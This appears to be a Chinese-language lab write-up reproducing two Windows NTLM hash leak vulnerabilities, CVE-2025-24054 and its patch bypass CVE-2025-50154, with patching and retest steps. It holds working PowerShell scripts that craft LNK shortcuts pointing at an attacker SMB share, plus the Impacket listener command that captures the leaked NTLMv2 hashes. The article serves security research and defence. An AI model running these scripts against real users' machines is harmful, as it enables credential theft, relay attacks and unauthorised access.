该漏洞允许攻击者在没有任何用户交互的情况下提取 NTLM 哈希值,攻击者可以自动触发 NTLM 身份验证请求,从而实现离线破解或中继攻击以获得未经授权的访问。
NTLM 是 Microsoft 的一系列身份验证协议,用于确认用户身份和保护网络通信。它通过直接的客户端-服务器“质询/响应”过程工作,服务器发出质询,客户端证明其身份,而无需通过网络传输实际密码。
虽然 NTLMv2 受到保护,可以抵御彩虹表和传递哈希等预计算攻击,但捕获的哈希值仍然可以被利用。攻击者可能会尝试暴力破解它们离线或使用中继攻击,将窃取的哈希值传递给另一个服务以用户身份登录。如果被入侵的帐户具有提升的权限,这可能会很快导致权限升级和横向移动。
即使在 Microsoft 针对该问题进行补丁后,安全研究员也找到了一种绕过它并仍然获得 NTLM 哈希的方法,证明威胁并未完全消除,这就是 CVE-2025-50154,而它之前的漏洞是 CVE-2025-24054。关于此类渗透测试中的手法与防护,可以在安全社区找到更多深入讨论。
1.1 原文链接
https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/
2 旧漏洞-CVE-2025-24054
2.1 基础环境
- Kali Linux
- 未打补丁的 Windows 10
2.2 复现
Kali Linux 启动 Impacket 渗透组件,开启一个 SMB 服务器来侦听传入的 SMB 连接。
impacket-smbserver share . -smb2support
impacket-smbserver:为对应的 Impacket 渗透组件
share .:指将当前目录作为 share 共享
smb2support:开启 SMB 服务支持
然后在受害机执行如下 PowerShell 脚本,新建一个 PowerShell 脚本文件 1.ps1,写入如下内容(注意替换为自己的 Kali Linux IP 地址,此处我的 Kali Linux IP 地址为 192.168.48.129):
# lnk文件的地址,若要复现请替换为自己的地址
$shortcutPath = “C:\Users\Divide\Desktop\lab.lnk”
# 目标程序的路径
$targetPath = “C:\Windows\System32\notepad.exe”
# 指定快捷方式使用的图标文件(.ico)的位置为远程地址,此处为关键点,只有设置为远程地址,才能让他访问我们开启的SMB服务器
$iconLocation = “\\192.168.48.129\share\icon.ico”
# 创建一个 Windows Script Host Shell 对象(通过 COM 组件 WScript.Shell)。
# 这个对象提供了操作快捷方式、环境变量、执行程序等能力。
# 将该对象赋值给变量$wShell,后续通过它来创建和管理快捷方式。
$wShell = New-Object -ComObject WScript.Shell
# 如果该路径已存在快捷方式,则会覆盖;如果不存在,则创建一个新的快捷方式对象
$shortcut = $wShell.CreateShortcut($shortcutPath)
# 设置快捷方式的“目标”属性,即点击快捷方式时要启动的程序路径
$shortcut.TargetPath = $targetPath
# 这里使用的是远程网络路径中的 .ico 图标文件
$shortcut.IconLocation = $iconLocation
# 对快捷方式对象的修改保存到磁盘中
$shortcut.Save()
Write-Output “Shortcut created at: $shortcutPath”
将创建一个带有基于 SMB 的远程图标的 LNK(LNK 就是快捷方式,带有一个图标)。
运行它,通过查看资源管理器中的图标,我们将获得当前正在运行的用户打开 explorer.exe(资源管理器) 进程的 NTLMv2-SSP 哈希值。
若 PowerShell 执行报错,执行如下命令输入 y 即可执行我们编写的 PowerShell 脚本。
set-ExecutionPolicy RemoteSigned
y
当运行成功后,结果如下,成功获取到对应用户的 hash 值:
2.3 对应补丁以及漏洞信息
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054
2.3.1 下载安装补丁
Win 键 + R 键,输入 winver 查看对应的 Windows 版本。
到网站下载补丁。
点击即可下载。
下载完直接放到对应机器双击安装即可。
2.4 复测
打完补丁,之后再用上面这种方式无法拿到 hash 值了。
3 Bypass-CVE-2025-50154
3.1 复现
前面的 CVE-2025-24054 打上对应补丁之后,通过下面的方式可以实现绕过补丁修复。
还是先启动 kali 中的 SMB 服务:
impacket-smbserver share . -smb2support
在前面的基础上只需要修改一下 PowerShell 生成 LNK 文件的方式即可。
更改脚本,使图标成为默认图标(shell32.dll),使可执行值成为可以检索到的远程文件路径。
# 文件创建
$shortcutPath = “C:\Users\Administrator\Desktop\1\lab.lnk”
# 这个exe可以不用存在,只要把kali的SMB服务启动即可,同时这个地址必须是远程kali地址
$targetPath = “\\192.168.48.129\share\calc.exe”
# 修改图标为本地白名单来绕过
$iconLocation = “C:\Windows\System32\SHELL32.dll”
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()
Write-Output “Shortcut created at: $shortcutPath”
运行 PowerShell 脚本:
Kali Linux 开启的 SMB 服务接收到 Hash 值:
3.2 对应补丁以及漏洞信息
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50154
安装方式和旧漏洞的方式一致:
查看是否安装上补丁:
systeminfo
本文的实践过程展示了 Windows 安全机制的复杂性,即使打了补丁也可能存在旁路。对于安全研究者或系统管理员而言,持续关注此类漏洞动态,理解其原理和绕过手法,对于加固系统至关重要。更多类似的技术讨论和资源,可以访问云栈社区进行交流。